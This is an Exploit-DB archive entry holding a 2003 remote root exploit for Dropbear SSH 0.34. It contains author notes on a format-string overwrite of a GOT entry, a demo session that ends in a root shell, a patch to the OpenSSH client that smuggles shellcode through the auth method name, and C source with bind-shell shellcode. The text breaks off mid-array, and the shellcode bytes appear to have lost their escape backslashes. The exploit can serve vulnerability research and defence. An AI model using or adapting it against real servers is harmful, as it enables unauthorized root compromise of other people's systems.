Exploit-DB #387
Description: Dropbear SSH 0.34 - Remote Code Execution
Type: remote
Platform: linux
Date: 2004-08-09
Author: livenn

Exploit:
/* 
* Linux x86 Dropbear SSH <= 0.34 remote root exploit 
* coded by live 
* 
* You'll need a hacked ssh client to try this out. I included a patch 
* to openssh-3.6.p1 somewhere below this comment. 
* 
* The point is: the buffer being exploited is too small(25 bytes) to hold our 
* shellcode, so a workaround was needed in order to send it. What I did here 
* was to hack the ssh client so that it sends the local   environment variable 
* SHELLCODE as ssh's methodname string.   This method   was described by Joel 
* Eriksson @ 0xbadc0ded.org. 
* 
* The 25 bytes limitation is also the reason for the the strange ``2 byte'' 
* retaddr you will see here. That's not enough for complete pointer overwrite, 
* so I decided to   overwrite 3rd and 2nd   bytes and hope our   shellcode is 
* around ;) 
*   
* % telnet localhost 22 
* Trying 127.0.0.1... 
* Connected to localhost. 
* Escape character is '^]'. 
* SSH-2.0-dropbear_0.34 
* ^] 
* telnet> quit 
* Connection closed. 
* 
* % objdump -R /usr/local/sbin/dropbear| grep malloc 
* 080673bc R_386_JUMP_SLOT   malloc 
* 
* % drop-root -v24 localhost 
* ?.2022u%24$hn@localhost's password: 
* Connection closed by 127.0.0.1 
* 
* % telnet localhost 10275 
* Trying 127.0.0.1... 
* Connected to localhost. 
* Escape character is '^]'. 
* id; exit; 
* uid=0(root) gid=0(root) groups=0(root) 
* Connection closed by foreign host. 
* 
* In the above example we were able to lookup a suitable .got entry(used as 
* retloc here), but this may not be true under a hostile environment. If 
* exploiting this remotely I feel like chances would be greater if we attack 
* the stack, but that's just a guess. 
* 
* Version pad is 24 to 0.34, 12 to 0.32. I don't know about other versions. 
* 
* gr33tz: ppro, alcaloide and friends. 
* 
* 21.08.2003 
* Please do not distribute 
*/ 



/* 

--- sshconnect2.c2003-08-21 21:34:03.000000000 -0300 
+++ sshconnect2.c.hack2003-08-21 21:33:47.000000000 -0300 
@@ -278,6 +278,8 @@ 
void 
userauth(Authctxt *authctxt, char *authlist) 
{ 
+     char *shellcode = getenv("SHELLCODE"); 
+ 
if (authlist == NULL) { 
authlist = authctxt->authlist; 
} else { 
@@ -290,6 +292,7 @@ 
if (method == NULL) 
fatal("Permission denied (%s).", authlist); 
authctxt->method = method; 
+         authctxt->method->name = shellcode; 
if (method->userauth(authctxt) != 0) { 
debug2("we sent a %s packet, wait for reply", method->name); 
break; 

*/ 


#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 


#define SSH_PATH               "ssh" 
#define SSH_PORT               "22" 

#define DEFAULT_VERSION_PAD     24 
#define DEFAULT_RETLOC         0xbffff800 
#define DEFAULT_RETADDR         0x080e /* 2 byte retaddr, not enough space for a 
                                      * full overwrite. */ 


/* fork/bind shellcode by live 
* default port is 10275 
* 
* I believe this can be futher optmized, but size is not 
* an issue here since we are sending the shellcode through 
* a ssh variable which is about 30k bytes long. 
*/ 
char shellcode[] = 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "xb0x02"                       /* mov     $0x2,%al                 */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "x85xc0"                       /* test   %eax,%eax               */ 
    "x75x54"                       /* jne     5e                       */ 
    "xebx50"                       /* jmp     5c                       */ 
    "x5e"                           /* pop     %esi                     */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "x31xdb"                       /* xor     %ebx,%ebx               */ 
    "x89x46x08"                   /* mov     %eax,0x8(%esi)           */ 
    "xb0x02"                       /* mov     $0x2,%al                 */ 
    "x89x06"                       /* mov     %eax,(%esi)             */ 
    "xfexc8"                       /* dec     %al                     */ 
    "x89x46x04"                   /* mov     %eax,0x4(%esi)           */ 
    "xb0x66"                       /* mov     $0x66,%al               */ 
    "xfexc3"                       /* inc     %bl                     */ 
    "x89xf1"                       /* mov     %esi,%ecx               */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "x89x06"                       /* mov     %eax,(%esi)             */ 
    "x89x4ex04"                   /* mov     %ecx,0x4(%esi)           */ 
    "x80x46x04x0c"               /* addb   $0xc,0x4(%esi)           */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "xb0x10"                       /* mov     $0x10,%al               */ 
    "x89x46x08"                   /* mov     %eax,0x8(%esi)           */ 
    "xb0x02"                       /* mov     $0x2,%al                 */ 
    "x66x89x46x0c"               /* mov     %ax,0xc(%esi)           */ 
    "x66xb8x28x23"               /* mov     $0x2328,%ax             */ 
    "x89x46x0e"                   /* mov     %eax,0xe(%esi)           */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "x89x46x10"                   /* mov     %eax,0x10(%esi)         */ 
    "xb0x66"                       /* mov     $0x66,%al               */ 
    "xfexc3"                       /* inc     %bl                     */ 
    "xcdx80"                       /* int     $0x80                   */ 
    "xfexcb"                       /* dec     %bl                     */ 
    "x89x5ex04"                   /* mov     %ebx,0x4(%esi)           */ 
    "x31xc0"                       /* xor     %eax,%eax               */ 
    "xb0x66"                       /* mov     $0x66,%al               */ 
    "xb3x04"                       /* mov     $0x4,%bl